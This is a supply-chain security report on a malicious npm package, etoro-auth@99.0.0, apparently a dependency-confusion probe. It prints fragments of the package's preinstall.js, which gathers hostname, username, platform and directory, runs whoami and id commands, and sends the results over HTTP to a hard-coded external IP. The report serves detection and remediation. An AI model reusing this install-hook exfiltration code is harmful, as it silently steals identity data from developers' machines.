registry / Data exfiltration / etoro-auth

etoro-auth

Internal service client library

This report shows the evidence for etoro-auth@99.0.0. 2 of 2 known versions are blocked or flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 1mo ago · by lpm-firewall-ai

This is unconsented install-time collection and exfiltration of host and user identity data to an unrelated external IP address. The empty runtime module provides no legitimate package function that explains this behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation invokes the preinstall lifecycle hook.

Impact

An external server receives the local account identity, host details, working directory, and identity-command output.

Mechanism

Install-time system discovery and HTTP exfiltration.

Attack narrative

On installation, package.json runs preinstall.js. That script collects the hostname, user name, platform, and current directory and sends them in an HTTP request to a hard-coded external IP address. It then runs whoami and id-related commands and posts the resulting identity information to that server. The lifecycle command ignores errors, reducing visibility of failed collection or transmission.

AI rationale

Evidence

package.jsonpreinstall.js

Network endpoints2

209.126.81.147/etoro-nuget-verify1f8eaa57a875/npm/v2/209.126.81.147

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package runs preinstall.js automatically before installation and suppresses failures.
The preinstall code sends the host name, local user name, platform, and installation directory to an external IP address.
The preinstall code executes identity-discovery commands and posts their output to the same external server.

Evidence against

The runtime entry point only exports an empty object.
No package source shows a legitimate feature that requires installation-time host discovery or transmission.

Behavioral surface

Source

ChildProcessNetworkShell

Supply chain

UrlStrings

Manifest

NoLicense

scanned 2 file(s), 956 B of source, external domains: 209.126.81.147

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node preinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js || true" }

High

Ai Review Evidence

The package runs preinstall.js automatically before installation and suppresses failures.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

1const os = require('os'); L2: const http = require('http'); L3: const { execSync } = require('child_process'); L4: L5: const h = os.hostname(); L6: const u = os.userInfo().username; ... L20: } L21: const data = Buffer.from(whoami); L22: const req = http.request({ ... L28: }); L29: req.write(data); L30: req.end();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

preinstall.jsView on unpkg · L1

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

preinstall.jsView on unpkg · L1

5const h = os.hostname(); const u = os.userInfo().username; const c = encodeURIComponent(process.cwd()); const p = os.platform(); // GET with basic info http.get(`http://209.126.81.147/etoro-nuget-verify1f8eaa57a875/npm/v2/${h}/${u}/${p}/${c}`);

High

Ai Review Evidence

The preinstall code sends the host name, local user name, platform, and installation directory to an external IP address.

preinstall.jsView on unpkg · L5

16if (os.platform() === 'win32') { whoami = execSync('whoami /all', { timeout: 5000 }).toString(); } else { whoami = execSync('whoami; id; hostname -f 2>/dev/null || true', { timeout: 5000 }).toString(); } const data = Buffer.from(whoami); const req = http.request({ hostname: '209.126.81.147', port: 80, path: `/etoro-nuget-[redacted]/${h}`, method: 'POST', headers: { 'Content-Type': 'text/plain', 'Content-Length': data.length } }); req.write(data); req.end();

High

Ai Review Evidence

The preinstall code executes identity-discovery commands and posts their output to the same external server.

preinstall.jsView on unpkg · L16

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.preinstall = node preinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js || true" }

High

Ai Review Evidence

The package runs preinstall.js automatically before installation and suppresses failures.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

Findings

6 High3 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationpreinstall.js

HighSandbox Evasion Gated Capabilitypreinstall.js

HighAi Review Evidencepackage.json

HighAi Review Evidencepreinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumStructural Risk Force Deep Review

LowScripts Present

LowUrl Strings

LowNo License

Affected versions and remediation

This report applies to etoro-auth@99.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing etoro-auth@99.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-14 03:30:06.356Z (UTC).

Source advisory published: 2026-09-10 04:43:38.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

99.0.0latestshownMaliciousData ExfiltrationBlockPublishedSep 11, 2026, 1:34 PM 999.0.0MaliciousMalwareBlockPublishedSep 10, 2026, 4:02 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Source & flagged code

Related packages

Other data exfiltration packages